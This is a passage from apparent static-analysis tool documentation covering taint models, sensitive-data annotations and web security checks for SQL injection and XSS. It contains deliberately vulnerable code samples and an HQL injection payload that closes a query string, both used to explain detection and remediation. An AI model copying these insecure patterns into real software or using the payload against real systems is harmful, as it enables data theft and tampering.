 Private SomeData As HasTaintedField

 ' A controller request handler
 Public Function GetSomeHtml() As ActionResult
 ' The annotated member is used in an unsafe way.
 ' A cross-site scripting defect is reported.
 Return Content("<html>" & SomeData.Untrusted & "</html>") 'XSS Defect
 End Function
End Class

```

### [NotTainted] / <NotTainted(> Attributes

Marking a field as `NotTainted` has two consequences:

- The analysis treats uses of that data as untainted, so it does not report defects when the data flows into HTML output, an SQL interpreter, or other such sink.
- The analysis reports a `TAINT_ASSERT` defect if the tool identifies any tainted data flowing into that location.

For more information on how the analysis uses the `NotTainted` annotation, see Section 4.300, “`TAINT_ASSERT`”.

### 5.2.2.2. SensitiveData Attributes

#### [SensitiveData] / <SensitiveData(>

You can use the `SensitiveData` attribute to model sources of sensitive data. In the following example, if the return value of `GetMyLocation` or the argument passed to `RetrieveAccountNumbers` passes to a sink that exposes information, the `SENSITIVE_DATA_LEAK` checker will report a defect.

#### Example 5.7. C#:

```

using Coverity.Attributes;
using Coverity.Primitives;

class SensitiveDataExample {

 [SensitiveData(SensitiveDataType.Geographical)]
 string GetMyLocation() {
 return "This is considered sensitive geographical data.";
 }

 void RetrieveAccountNumbers(
 [SensitiveData(SensitiveDataType.Account)] string[] acct)
 {
 // The parameter arg1 will be treated as sensitive account
 // data inside of this method and in the caller after passing

```

```

 / it through this method.
 }
}

```

**Example 5.8. Visual Basic:**

```

Imports Coverity.Attributes
Imports Coverity.Primitives
Imports System

Class SensitiveDataExample
 <SensitiveData(SensitiveDataType.Geographical)>
 Function GetMyLocation() As String
 Return "This is considered sensitive geographical data."
 End Function

 Sub RetrieveAccountNumbers(
 <SensitiveData(SensitiveDataType.Account)> accts() as String)
 ' The parameter arg1 will be treated as sensitive account
 ' data inside of this method and in the caller after passing
 ' it through this method.
 End Sub
End Class

```

Multiple sensitive data types can be specified using an array argument to the attribute. In the following example, the field `LoginInfo` will be considered both user identifier and password data.

**Example 5.9. C#:**

```

class LoginService {
 [SensitiveData(new[] { SensitiveDataType.UserId, SensitiveDataType.Password })]
 List<string> LoginInfo;
}

```

**Example 5.10. Visual Basic:**

```

Class LoginService
 <SensitiveData({ SensitiveDataType.UserId, SensitiveDataType.Password })>
 Dim LoginInfo As List(Of String)
End Class

```

See Table 4.5, “Sensitive Data Source types” for a complete list of sensitive data types that you can use.

## 5.3. Models in Go

### 5.3.1. Adding Models in Go

You create models in Go for the same reasons that you create them for Java (see Section 5.4.1, “Adding Java Models”). The procedure for adding them to the analysis differs slightly.

**To add new models:**

## 1. Import the relevant primitives

The Coverity primitives for Go are part of the `synopsys.com/coverity-primitives` namespace. Coverity Analysis provides an assembly that contains the primitives in `<install_dir>/library/go/src/synopsys.com/coverity-primitives/primitives.go`.

For descriptions of the primitives, see Section 5.3.1.3, “Go Primitives”.

## 2. Add stub methods that represent the behavior of the methods that you want to add.

For the model to be applied correctly, the namespace name, class name, number and names of type parameters, method name, method parameter types, and return type must all match.

3. Use the **cov-make-library** command to compile the class and register the model.

With **cov-make-library**, support for models that contain C dependencies is disabled by default. See “cov-make-library” in the *Command Reference* for details.

For general guidance, see the Java example in “Modeling resource leaks”.

4. Use the **cov-analyze** command to run the analysis with the new model.

Here is a sample command line to run **cov-analyze** in such a situation:

```
> cov-analyze --dir <intermediate_directory> --user-model-file ../user_models.xmlldb
```

**5.3.1.1. Modeling Sources of Sensitive Data**

The analysis reports defects (such as `SENSITIVE_DATA_LEAK` and `WEAK_PASSWORD_HASH`) when it detects unsafe uses of sensitive data. Coverity Analysis automatically detects many common sources of sensitive data, but by writing models to identify additional, application-specific sources, you can tune an analysis scan to report additional defects.

The methods that return sensitive data can be modeled by using the `SensitiveDataSource()` primitive, described in Section 5.3.1.3, “Go Primitives”.

The following model indicates that the `GetUsername()` method returns a sensitive user identifier:

```
func GetLoginInfo() string {
 var ret string
 ret = SensitiveDataSource(SensitiveTypes.UserId).(string)
 return ret
}
```

The following model indicates that `GetSessionId()` writes a sensitive session identifier into its byte array parameter:

```
func GetSessionId() []byte {
```

```
var ret_0 []byte = Unknown().([]byte)
ret_0 = SensitiveDataSource(PersistentSecret).([]byte)

return ret_0
}
```

### 5.3.1.2. Modeling Sources of Untrusted (Tainted) Data

To model untrusted data sources, you can use the `TaintSource()` primitive, described in Section 5.3.1.3, “Go Primitives”.

The `TaintSource()` primitive models a method that returns a string-like or a simple collection object that the analysis treats as tainted data.

You can specify most taint types to be trusted or distrusted by using the **cov-analyze** family of “trust” and “distrust” command-line options: for example, `--distrust-http` and `--distrust-http`. These are described in the *Coverity Command Reference*.

### 5.3.1.3. Go Primitives

#### 5.3.1.3.1. `ConnectionStringSink( i interface{} )`

Marks its parameter as flowing into a method that consumes it as a connection string. The `HARDCODED_CREDENTIALS` checker reports a defect if a constant string is used as the password in the connection string.

##### Parameters:

*i*

The interface that contains the credentials

#### 5.3.1.3.2. `CryptoSink( i interface{} )`

Marks its parameter as flowing into a method that consumes it as a cryptographic key. The `HARDCODED_CREDENTIALS` checker reports a defect if a source-code-embedded constant string is passed to it.

##### Parameters:

*i*

The interface that contains the credentials

#### 5.3.1.3.3. `HeaderSink( i interface{} )`

Marks a method parameter as being used to construct an HTTP header. The `HEADER_INJECTION` checker reports a defect if an unsafe, user-controllable string is passed to this method.

##### Parameters:

*i*

The interface that contains the value for the HTTP header

#### 5.3.1.3.4. `HttpRedirectSink( i interface{} )`

Marks a method parameter as being used as an HTTP address to redirect to. The `OPEN_REDIRECT` checker reports a defect if an unsafe, user-controllable string is passed to this method.

##### Parameters:

*i*

The interface that contains the password

#### 5.3.1.3.5. `Lock( lock interface{} )`

Simulates acquiring a lock on the object provided.

##### Parameters:

*lock*

The object to be modeled as a lock being locked

##### See Also:

- Section 5.3.1.3.20, “`Unlock( lock interface{} )`”

#### 5.3.1.3.6. `NonDet()`

Represents a nondeterministic condition that impacts the behavior of the method. The precise characteristics of the condition are unimportant to analysis, and the condition is expressed as a Boolean value. Analysis treats the value returned as it would the return value from an unknown, unimplemented, or native method.

Calling `NonDet()` is considered evidence that either `true` or `false` is a possible return value each time the method is called, and generally you would want to use this primitive when that is the case.

Under rare circumstances, the return value might be unknown (that is, when there is no specific evidence that either `true` or `false` is possible). When this is case, use the `Unknown()` primitive and cast its result to `bool`. This approach causes subtly different behavior in the analysis, and in most cases is not necessary.

##### See Also:

- Section 5.3.1.3.19, “`Unknown()`”

#### 5.3.1.3.7. `NoSqlSink( i interface{} )`

Marks a method parameter as being used to construct a NoSQL query. The `NOSQL_QUERY_CHECKER` checker reports a defect if an unsafe, user-controllable string is passed to this method.

**Parameters:**

*i*

The interface that contains the NoSQL query

**5.3.1.3.8. `OsCmdInjectionSink( i interface{} )`**

Marks its parameter as flowing into a method that treats the parameter as a command, or command argument, to be executed by the local operating system (OS). The `OS_CMD_INJECTION` checker reports defects when tainted data flows into this primitive.

**Parameters:**

*i*

The interface that contains the command to be executed, or that contains an argument to a command to be executed

**5.3.1.3.9. `Panic()`**

Indicates that the remainder of an execution path is infeasible: is a so-called *killpath*.

**5.3.1.3.10. `PasswordSink( i interface{} )`**

Marks its parameter as flowing into a method that consumes the parameter as a password. The `HARDCODED_CREDENTIALS` checker reports a defect if a source-code-embedded constant string is passed to this method.

**Parameters:**

*i*

The interface that contains the password

**5.3.1.3.11. `PathSink( i interface{} )`**

Marks a method parameter as being used as a file name or as a filesystem path. The `PATH_MANIPULATION` checker reports a defect if an unsafe, user-controllable string is passed to this method.

**Parameters:**

*i*

The interface that contains the path

**5.3.1.3.12. `SensitiveDataSource( types ...SensitiveDataType )`**

Returns an object of arbitrary type that the analysis treats as sensitive data. Use this primitive to model a method that returns sensitive data.

**Parameters:**

*types*

The specific kinds of sensitive data

#### **5.3.1.3.13. `sleep()`**

Indicates that the calling function might take a long time to complete, or might otherwise block execution.

#### **5.3.1.3.14. `sqlSink( i interface{} )`**

Marks its parameter as flowing into a method that treats the parameter as an SQL, HQL, or JPQL query. The SQLI checker reports a defect when tainted data flows into this primitive.

##### **Parameters:**

*i*

The interface that contains the query

#### **5.3.1.3.15. `TaintedEnvironmentSink( i interface{} )`**

Marks a method parameter as being used to set an environment variable. The `TAINTED_ENVIRONMENT_WITH_EXECUTION` checker reports a defect if an unsafe, user-controllable string is passed to this method.

##### **Parameters:**

*i*

The interface that contains the value of the environment variable being set

#### **5.3.1.3.16. `TaintSource( types ...TaintSourceType )`**

Returns an object of arbitrary type that the analysis treats as tainted data. Use this primitive to model a method that returns tainted data.

##### **Parameters:**

*types*

The specific kinds of taint

#### **5.3.1.3.17. `TemplateSink( i interface{} )`**

Marks a method parameter as being used to construct a template. The `TEMPLATE_INJECTION` checker reports a defect if an unsafe, user-controllable string is passed to this method.

##### **Parameters:**

*i*

The interface that contains the template

**5.3.1.3.18. TokenSink( *i* interface{} )**

Marks its parameter as flowing into a method that consumes the parameter as a security token. The `HARDCODED_CREDENTIALS` checker reports a defect if a source-code-embedded constant string is passed to the method.

**Parameters:**

*i*

The interface that contains the credentials

**5.3.1.3.19. Unknown()**

Represents an unknown object, handled by the modeled method, the exact characteristics of which are unimportant to the modeled behavior. You can cast, dereference, or make assertions on the returned object as necessary.

The `Unknown()` primitive, like an externally implemented function, returns a value that might or might not be correlated with another state in the program, so a call to `Unknown()` by itself is not considered evidence that any particular return values are possible. Casting, dereferencing, or making assertions about the result of `Unknown()` can be useful for guiding analysis, because in the absence of evidence that such operations can fail, the analysis will assume the only interesting behaviors of the program are when they succeed.

For example, having the model compare the result of `Unknown()` to `null`, hints at the possibility that the result *can be* `null`, and analysis takes this into account.

**See Also:**

- Section 5.3.1.3.6, “`NonDet()`”

**5.3.1.3.20. Unlock( *lock* interface{} )**

Simulates releasing a lock on the object provided.

**Parameters:**

*lock*

The object to be modeled as a lock being unlocked.

**See Also:**

- Section 5.3.1.3.5, “`Lock( lock interface{} )`”

**5.3.1.3.21. UrlSink( *i* interface{} )**

Marks a method parameter as being used to construct a URL. The `URL_MANIPULATION` checker reports a defect if an unsafe, user-controllable string is passed to this method.

**Parameters:**

*i*

The interface that contains the URL

#### 5.3.1.3.22. `XssSink( i interface{} )`

Marks a method parameter as being used to construct an executable script on the client side. The XSS (cross-site scripting) checker reports a defect if an unsafe, user-controllable string is passed to this method.

#### Parameters:

*i*

The interface that contains the executable script

## 5.4. Models and Annotations in Java

### 5.4.1. Adding Java Models

Adding models of methods to Coverity Analysis allows you to find more defects and help eliminate false positives. For example, if a new resource allocation interface is used by your application from a third-party API and is modeled in the system, Coverity Analysis can detect and report defects in the uses of that allocator.

You can model any Java method, including abstract methods defined in interfaces and abstract classes. However, there are some special requirements for the creation of Java interface methods (Section 5.4.1.1, “Modeling a Java interface method”).

Sometimes the Coverity Analysis models diverge from the actual behavior of the function because of the modeled method's complexity. Although analysis framework improvements continue to decrease the need for overriding the automatically computed models, there is a limit to the precision of compile-time analysis. Thus, for some cases you can improve the analysis accuracy by codifying the behavior of a given method.

#### To add new models, perform the following steps:

1. Import the relevant primitives.

The Coverity primitives are part of the `com.coverity.primitives` package. Coverity Analysis provides a JAR file that contains the primitives in `<install_dir>/library/primitives.jar`.

Coverity Analysis provides Javadoc documentation at `<install_dir>/doc/<en|ja>/primitives/index.html` for a description of these primitives.

2. Add stub methods that represent the behavior of the functions that you want to add.
3. Compile the class and register the model.

Note that this command provides options for selectively generating models based on certain checkers and checker groups that use them. For example, compare the options used in Section 5.4.1.2, “Modeling resource leaks” with those in Section 5.4.1.3, “Modeling Sources of Untrusted (Tainted) Data”. For additional options, see the *Coverity Command Reference*.

4. Run the analysis with the new model.

#### 5.4.1.1. Modeling a Java interface method

When you create a model for an interface method, you need to declare the interface as if it were a class because interface methods cannot have implementations. For example, Coverity provides the following built-in model of the `Comparable<T>` interface:

```
public class Comparable<T> {
 public int compareTo(T o) {
 return unknownNonnegativeInt();
 }
}
```

#### 5.4.1.2. Modeling resource leaks

The following example shows how to add models for detecting resource leaks to a class called `MyResource`.

1. Import the `Resource_LeakPrimitives` class in your user model source file, and create the user models for the resources that need to be tracked during the analysis. For example:

```
import com.coverity.primitives.Resource_LeakPrimitives;
public class MyResource {

 public MyResource() {
 com.coverity.primitives.Resource_LeakPrimitives.open(this);
 }

 public void close() {
 com.coverity.primitives.Resource_LeakPrimitives.close(this);
 }
}
```

2. Create a user model file (for quality checkers only):

```
> cov-make-library --output-file user_models.xmlldb --disable-default --quality
MyResource.java
```

Note that the combination of `--disable-default` and `--quality` limits the generation of models to those used by quality checkers.

The `user_models.xmlldb` file is now ready to be used for analyzing other packages for `MyResource` leaks.

3. Use the new model during analysis:

```
> cov-analyze --dir <intermediate_directory> --user-model-file user_models.xmlldb
```

For additional examples, see `USE_AFTER_FREE` models and `RESOURCE_LEAK` models.

#### 5.4.1.3. Modeling Sources of Untrusted (Tainted) Data

If the analysis fails to report security defects (SQLI, XSS, `OS_CMD_INJECTION`), there are several possible causes and workarounds.

False negatives can occur when the analysis does not recognize a source of tainted data. If a method in your program returns tainted data, but the analysis does not discover that issue, you need to write a model for that method. Similarly, if a method takes a `StringBuffer` (or similar object) and appends tainted data into it, you can model that behavior, as well. For example, the following model informs the analysis that the `MyClass.returnsTainted` method returns tainted data and that the `MyClass.appendTainted` method taints its argument (presumably by inserting a tainted string into it).

```
public class MyClass {
 // The return value of returnsTainted() is tainted.
 String returnsTainted() {
 return com.coverity.primitives.SecurityPrimitives.asserted_source();
 }

 // A call to appendTainted taints its argument.
 void appendTainted(StringBuffer sb) {
 com.coverity.primitives.SecurityPrimitives.asserted_source(sb);
 }
}
```

For descriptions of this and other, similar modeling primitives, go to the Coverity Analysis installation directory and find the Javadocs for `com.coverity.primitives.SecurityPrimitives` in the following file: `<install_dir>/doc/en/ja/primitives/com/coverity/primitives/SecurityPrimitives.html`. See also the discussion of the `@Tainted` annotation in Section 5.4.2, “Adding Java Annotations to Increase Accuracy”, and see \ Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”.

To generate models for Web application security checkers only, see Section 5.4.1.7, “Generating Java Web application security models”.

#### 5.4.1.4. Modeling Methods to which Tainted Data Must Not Flow (Sinks)

False negatives can occur when the analysis does not recognize sinks, which are method parameters to which tainted data must not flow (due to the risk of an attacker subverting the database, controlling a new operating system process, or otherwise compromising your application). If the SQLI checker does not recognize a method parameter in your program as one that is executed as a SQL, HQL, or JPQL query, you can model it as such, and you can create similar models for `OS_CMD_INJECTION`. For example, the following models make the SQLI checker report a defect if tainted data flows into the `query` parameter

of the `MyClass.executeSql` method, and it makes the `OS_CMD_INJECTION` checker report a defect if tainted data flows into the `commandLine` parameter of the `MyClass.execute` method.

```
public class MyClass {
 void executeSql(String query, boolean somethingElse, String unrelated) {
 com.coverity.primitives.SecurityPrimitives.sql_sink(query);
 }
 void execute(String commandLine) {
 com.coverity.primitives.SecurityPrimitives.os_cmd_one_string_sink(commandLine);
 }
}
```

To generate the model file:

```
> cov-make-library --output-file user_models.xmlldb --disable-default --webapp-security
MyClass.java
```

For descriptions of this and other, similar modeling primitives, go to the Coverity Analysis installation directory and find the Javadocs for `com.coverity.primitives.SecurityPrimitives` in the following file: `<install_dir>/doc/en/ja/primitives/com/coverity/primitives/SecurityPrimitives.html`. See also the discussion of the `@NotTainted` annotation for the Section 4.300, “TAINT\_ASSERT” checker, and see Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”.

#### 5.4.1.5. Adding Assertions that Fields Are Tainted or Not Tainted

In some cases, you might want to override the Coverity Analysis-computed taint value for specific class fields. It can be asserted that uses of the field should always be considered tainted, in which case additional security defects will be reported if the values are used unsafely; it can also be asserted that the field should never be considered tainted, in which case security defects that arise from an unsafe use of its value will be suppressed.

There are two mechanisms to assert the taintedness and non-taintedness of fields:

- command line options
- annotations

The command line options, which allow regular expression matching on fully qualified field names, are described in the **cov-analyze** entry in the *Coverity Command Reference*. [↗](#) Alternatively, the following two annotations can be added at a field definition inside the analyzed code:

```
com.coverity.annotations.Tainted;

com.coverity.annotations.NotTainted;
```

These taint annotations are only meaningful when they are applied to a field that is a `String` (or other `CharSequence`-implementing class), a Java collection of `String` (or other `CharSequence`-implementing class) types, or an array of `byte` or `char` primitives. The following example demonstrates several valid applications:

```
import com.coverity.annotations.*;

class UserData {
 @NotTainted String name;
 @Tainted StringBuffer selfDescription;
 @Tainted Map<int, String> favoriteColorByAge;

 String userid;
}
```

The annotations are not valid or meaningful on fields of other types. In particular, they can not be used to transitively taint the all of the string-like data within an object. The annotations must be directly applied to each of the string-value field definitions that it contains. The following example shows how to assert that all of `FormData` is tainted within a `WebTransaction` object:

```
import com.coverity.annotations.*;

class WebTransaction {
 int id;
 FormData form; // it is NOT valid to annotate this field
}

class FormData {
 @Tainted String item;
 @Tainted String quantity;
 @Tainted String description;
}
```

Consider the following example, in which the `--tainted-field com.coverity.examples.Table.*` command line option is passed to assert that the fields `com.coverity.examples.Table.title` and `com.coverity.examples.Table.values` are tainted. This will result in a SQLI defect being reported in the `doSqlQuery` method, regardless of and in addition to any other attacker-controllable strings being assigned to the object's title field.

```
package com.coverity.examples.*;

class Table {
 String title;
 Map<int, String> values;
 int id;

 void doSqlQuery(Statement stmt, String where_clause) {
 stmt.executeQuery("SELECT * FROM + this.title + " where " + where_clause);
 }
}
```

The example above is equivalent to the following use of the `@Tainted` annotation:

```
package com.coverity.examples.*;

import com.coverity.annotations.Tainted;
```

```
class Table {
 @Tainted String title;
 @Tainted Map<int, String> values;
 int id;

 void doSqlQuery(Statement stmt, String where_clause) {
 stmt.executeQuery("SELECT * FROM + this.title + " where " + where_clause);
 }
}
```

The following example illustrates a use of the `@NotTainted` annotation. If the annotation was not present, a cross-site scripting (XSS) defect would be reported inside the `MyServlet.printPage` method. However, because the `color` field is asserted to be always safe (not tainted), the XSS defect will be suppressed.

```
import com.coverity.annotations.NotTainted;

class MyServlet extends HttpServlet {

 @NotTainted String color;

 private void printPage(PrintWriter out) {
 out.println("<HTML><BODY>");
 out.println(this.color);
 out.println("</BODY></HTML>");
 }

 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, java.io.IOException {

 color = req.getParameter("color");

 printPage(resp.getWriter());
 }
}
```

If the `TAINT_ASSERT` checker is enabled, it will report an issue at the annotation on the `MyServlet.color` field. For further information about how it can be used to verify the validity of assertions about non-taintedness, see Section 4.300, “`TAINT_ASSERT`”.

#### 5.4.1.6. Suppressing defect reports on a method

An empty model will override the behaviors derived by the analysis. For example, if the analysis has derived an incorrect behavior that results in false positives in callers, writing a user model without that behavior will eliminate them. You might use such a model to suppress false positives when using the CSRF checker, for example:

```
package com.example;

class MyDAO {
 void permissibleUnprotectedDatabaseUpdate(String value) {
 /* Empty model suppresses derived CSRF protection obligation:

```

```

 * SecurityPrimitives.csrf_check_needed_for_db_update();
 */
}
}

```

To generate models for Web application security checkers only, see Section 5.4.1.7, “Generating Java Web application security models”.

#### 5.4.1.7. Generating Java Web application security models

To generate models for Web application security checkers only, and avoid the case where the model overrides inferences that other checkers make about the method it models, use the `--disable-default` and `--webapp-security` options with **cov-make-library**, for example:

```

> cov-make-library --output-file user_models.xmlldb --disable-default --webapp-security
MyClass.java

```

#### 5.4.2. Adding Java Annotations to Increase Accuracy

Adding annotations to source files that are analyzed by Coverity Analysis allows you to obtain more accurate results from certain checkers. Instead of letting the checker infer information, you can explicitly tag classes and methods with the appropriate behavior. The analysis reads these annotations as it runs. Coverity Analysis annotations use the syntax of the standard Java annotations.

##### To add annotations:

1. Import the relevant annotations.

The Coverity annotations are part of the `com.coverity.annotations` package, and a JAR file that contains the primitives is located in Coverity Analysis installation directory at `<install_dir>/library/annotations.jar`.



##### Important!

If you intend to distribute `annotations.jar` to a third party, see the section on `annotations.jar` in the Section K.1, “Legal Notice”.

See the Javadoc documentation at `<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html` for descriptions of these annotations.

2. Mark methods and/or classes with the relevant annotations.

##### Checkers that support annotations:

- `CALL_SUPER` - Section 4.33.4, “Annotations”
- `CHECKED_RETURN` - Section 4.35.4, “Annotations and Primitives”
- `GUARDED_BY_VIOLATION` - Section 4.163.4, “Annotations”
- `MISSING_BREAK` - Section 4.209.4, “Java Annotations ”

- `NULL_RETURNS` - Section 4.231.4.2, “Java Annotations”
- `OS_CMD_INJECTION` - `@Tainted`, `@NotTainted`
- `PATH_MANIPULATION` - `@Tainted`, `@NotTainted`
- `SENSITIVE_DATA_LEAK` - Section 4.277.5, “Models and Annotations”
- `SQLI` - `@Tainted`, `@NotTainted`
- `TAINT_ASSERT` - `@NotTainted`
- `WEAK_PASSWORD_HASH` - Section 4.277.5, “Models and Annotations”
- `XSS` - `@Tainted`, `@NotTainted`

3. Run the analysis on the annotated code.

### **@Tainted and @NotTainted Annotations**

#### @Tainted

Marking a field as `@Tainted` indicates that the security checkers should treat that field as coming from an untrusted source (that is, as tainted). In particular, the security checkers (for example, `XSS`, `SQLI`, and `OS_CMD_INJECTION`) report a defect when a field that is annotated as `@Tainted` flows to servlet output, an SQL interpreter, or to another such sink.

```
import com.coverity.annotations.*;
import java.sql.*;
class HasTaintedField {
 @Tainted String untrusted;
}
class MyController {
 void doQuery(HasTaintedField x, Statement stmt) {
 stmt.execute("SELECT * FROM user WHERE name='" + x.untrusted + "'");
 }
}
```

#### @NotTainted

Marking a field as `@NotTainted` has two consequences:

- The analysis treats uses of that data as untainted, so it does not report defects when the data flows into servlet output, an SQL interpreter, or other such sink.
- The analysis reports a `TAINT_ASSERT` defect if tainted data actually flows into that location.

For more information on how the analysis uses the `@NotTainted` annotation, see the Section 4.300, “`TAINT_ASSERT`” checker documentation.

## @SensitiveData

You can use the `@SensitiveData` annotation to model sources of sensitive data. In the following example, if the return value of `returnsPassword` or the argument passed to `storesPasswordInParam` passes to a sink, the checker will report a defect of type `Cleartext sensitive data in <sink>`.

```
@SensitiveData({SensitiveDataType.SDT_PASSWORD})
Object returnsPassword() {
 // This function returns password data.
}

void storesPasswordInParam(
 @SensitiveData({SensitiveDataType.SDT_PASSWORD})Object arg1) {
 // The parameter arg1 will be treated as password data.
}

// The field pw will be treated as password data.
@SensitiveData({SensitiveDataType.SDT_PASSWORD}) String pw;
```

As with Coverity primitives, you can use Coverity annotations to specify multiple sensitive data types. To do so, you simply provide a comma-separated list of `SensitiveDataType` enumerations within the curly brackets for the `@SensitiveData` annotation. See Table 4.5, “Sensitive Data Source types” for a complete list of sensitive data types that you can use.

## 5.5. Models in Swift

Swift models used in Coverity Analysis allow you to find more defects and help to eliminate any false positives in your Swift source code. Like Java models, the Swift models can help Coverity Analysis to detect and report defects when using any new resource allocators. (See Section 5.4.1, “Adding Java Models” for more information).

### To add new models, perform the following steps:

1. Add stub methods that represent the behavior of the methods that you want to add.

For the model to be applied correctly, the following entries must all match: the namespace name, class name, number and names of type parameters, method name, method parameter types, and return type.

2. Use the **cov-make-library** command to compile the class and register the model.
3. Use the **cov-analyze** command to run the analysis on the new model. For example:

```
cov-analyze --dir <intermediate_directory> --user-model-file ../user_models.xmlldb
```

## 5.6. Model Search Order

The **cov-analyze** command searches models in the following order:

1. User model files, from arguments to `--user-model-file` (deprecated in version 7.7.0) or `--model-file`, in order of appearance on the command line.
2. `user_models.xmlldb` in the `config` directory, if it exists.
3. Coverity built-in models.
4. Derived models from the current analysis.
5. C/C++ (**cov-analyze**) only: Previously derived models, from `--derived-model-file` (deprecated in version 7.7.0) or `--model-file`, in order of appearance on the command line.

Note that `--model-file` can be used to specify either user or derived model files; it will automatically detect whether the files represent user models (from **cov-make-library**) or previously derived models (from **cov-collect-models**).

---

# Chapter 6. Security Reference

## Table of Contents

6.1. Coverity Web application security .....	909
6.2. C/C++ Application Security .....	926
6.3. SQLi Contexts .....	929
6.4. XSS Contexts .....	932
6.5. OS Injection Command Contexts .....	946
6.6. Web application security examples .....	950
6.7. Security Commands .....	980
6.8. Tainted Data Overview .....	981
6.9. Sensitive Data Overview .....	984

## 6.1. Coverity Web application security

### 6.1.1. Introduction to Web application security

Coverity can analyze your Web applications to find many types of security issues. The analysis detects when unsafe data enters your Web application from the HTTP requests, network transactions, untrusted databases, console input, or the file system. It tracks this unsafe data, and if it is used incorrectly within a context, Coverity reports this usage as an issue within Coverity Connect. Coverity provides you with actionable remediation advice for the technologies in use.

This unsafe data is considered “tainted data”. For more information, see Section 6.8, “Tainted Data Overview”.

### 6.1.2. Java Web Applications

Coverity analyzes Java Web applications. It understands many common frameworks such as Java Servlets, JavaServer Pages, and Spring MVC. Coverity can detect the use of SQL or other query languages, with an emphasis on common Java technologies such as JDBC, Hibernate, and JPA. A collection of configuration checkers also detects common vulnerabilities in the setup of the Web application or its environment.

### 6.1.3. ASP.NET Web Applications

Coverity analyzes ASP.NET pages and applications. It has support for both ASP.NET Web Forms and MVC applications, including ASP.NET pages ( `*.aspx` ), controls ( `*.ascx` ), and Razor view templates ( `*.cshtml` files). Coverity also understands certain third-party frameworks, such as Dapper and nHibernate.

### 6.1.4. Web Application Security Vulnerabilities

This section describes the types of Web application security issues that Coverity can find in your source code.

### 6.1.4.1. SQL Injection (SQLi)

SQL injection (SQLi) is an issue that allows a user to change the intent of a SQL statement. This security defect occurs when tainted user data (which is unsafe data) is inserted or concatenated within a SQL statement that has a set of safety requirements or obligations. If these obligations are not met by making the data safe (that is, by *sanitizing* the data), the tainted characters change the statement to something unintended by the original programmers.

#### 6.1.4.1.1. SQLi Risks

SQLi can impact the confidentiality, integrity, and availability of a database system if a user can change the intent of a SQL statement. By appending additional `UNION` or similar constructs, a user can reveal information that might have been previously filtered or restricted. Depending upon the statement, a user might be able to insert or update data within a query, thereby impacting its integrity. In some cases, a user might be able to drop entire tables within a database, severely impacting availability throughout the whole system. Numerous, high-profile attacks on organizations have occurred as a result of SQLi issues.

#### 6.1.4.1.2. SQLi Example (Java)

In the following SQLi example, a Java Servlet passes tainted data, which is concatenated to a Hibernate Query Language (HQL) statement. Note that the example shows only the portion of code that pertains to this issue and provides links to more information about the progression of the issue. The color coding in the example corresponds to the color coding that Coverity Connect provides in its issue reports and remediation advice.

**IndexController.java :**

```
13 public class IndexController extends HttpServlet {
14
15 private BlogEntryRetriever blogEntryRetriever;
16 private BlogEntryInsert blogEntryInsert;
17
18 protected void doGet(HttpServletRequest request,
19 HttpServletResponse response)
20 throws ServletException, IOException {
21
22 String table_name = request.getParameter("table_name");
23 String entry_id = request.getParameter("id");
24
25 HashMap<String, Integer> map =
26 blogEntryRetriever.get(table_name, entry_id);
27
28 Reading data from a servlet request, which is considered tainted.
29 String user = request.getParameter("user");
30 String content = request.getParameter("content");
31 blogEntryInsert.insert(user, content);
32 }
33 }
```

```

Passing the tainted data, "user",
to com.coverity.sample.logic.BlogEntryInsert.getContent(java.lang.String).
30 List entries_user = blogEntryInsert.getContent(user);

```

**BlogEntryInsert.java :**

```

50Parameter "user" receives the tainted data.
51 public List getContent(String user) {
52 Session session = factory.openSession();
53 Transaction tx = null;
54 List results = null;
55 try{
56 tx = session.beginTransaction();
57 Query query = session.createQuery("from blog_entry where user =
58 '" + user + "'");
59 results = query.list();
60 tx.commit();

```

*Detected a likely SQL statement  
Insecure concatenation of a SQL statement.  
The value "user" is tainted.  
A tainted value is passed to a SQL API. Remediation for SQL injection in HQL: specific advice for SQL string*

- Add a named parameter to the SQL statement, for example ":someParam"
- Bind the tainted value to the parameter using the setParameter method:  
`Query.setParameter("someParam", user)`

[More Information]

**Progression of the security defect:**

- IndexController.java (26): The parameter user is obtained from the HTTP request. This value is tainted until it is sanitized appropriately.
- IndexController.java (30): The value is passed into the `blogEntryInsert.getContent()` method.
- BlogEntryInsert.java (57): Within the `session.createQuery()` method, the tainted parameter is concatenated into a Hibernate HQL string (within the single quotes).

If a single quote is included in the parameter, the HQL string is closed, and all subsequent text will then be interpreted as HQL code by the HQL compiler. So the intent of the statement can be changed. Instead of the statement selecting all blog entries provided by the user, the user is now able to add clauses, for example:

```
' or exists (from blog_entry) and user <> 'FAKE_USER
```

The example selects all blog entries except for the user `FAKE_USER`. The following statement is passed to the HQL compiler:

```

1 Query query = session.createQuery("from blog_entry where user = '
 ' or exists (from blog_entry) and user <> 'FAKE_USER'");

```

### 6.1.4.1.3. Common SQL Statement Contexts

When fixing a SQLi issue, you need to understand the current context, the safety obligations for that context, and what characters or sequences violate these obligations. A SQL statement is comprised of different contexts, each of which interprets values or expressions that they contain using different language rules.

Common SQL contexts that often receive user-supplied data:

- SQL string, for example:

```
SELECT * FROM table WHERE user = 'TAINTED_DATA_HERE'
```

- SQL string within a `LIKE` clause, for example:

```
SELECT * FROM table WHERE user LIKE '%TAINTED_DATA_HERE'
```

- SQL identifier within an `ORDER BY` clause, for example:

```
SELECT * FROM table ORDER BY table.username TAINTED_DATA_HERE
```

- SQL expression within an `IN` clause, for example:

```
SELECT * FROM table WHERE user IN (TAINTED_DATA_HERE)
```

For information on all SQL contexts, see Section 6.3, “SQLi Contexts”.

### 6.1.4.1.4. SQLi Remediation Examples

Once you understand the context in which user data is inserted, you can determine what remediation strategy is the most effective. For more information on different remediation strategies, see Section 6.1.5, “Remediation”.

### 6.1.4.2. Cross-site Scripting (XSS)

Cross-site scripting (XSS) is an issue that occurs when tainted user data (which is unsafe) is inserted into HTML that has a set of safety requirements or obligations. The browser might interpret these characters differently if the obligations are not met by making the data safe (sanitizing the data).

For remediation information, see Section 6.6.2, “XSS remediation examples”.

#### 6.1.4.2.1. XSS Risks

If a user has authenticated to establish a session, an XSS issue can impact the confidentiality of the authenticated session, including whatever information and access the session confers. An attacker

might hijack the session either directly (by disclosing and replaying the session token) or indirectly (by performing actions using the user's browser as a surrogate).

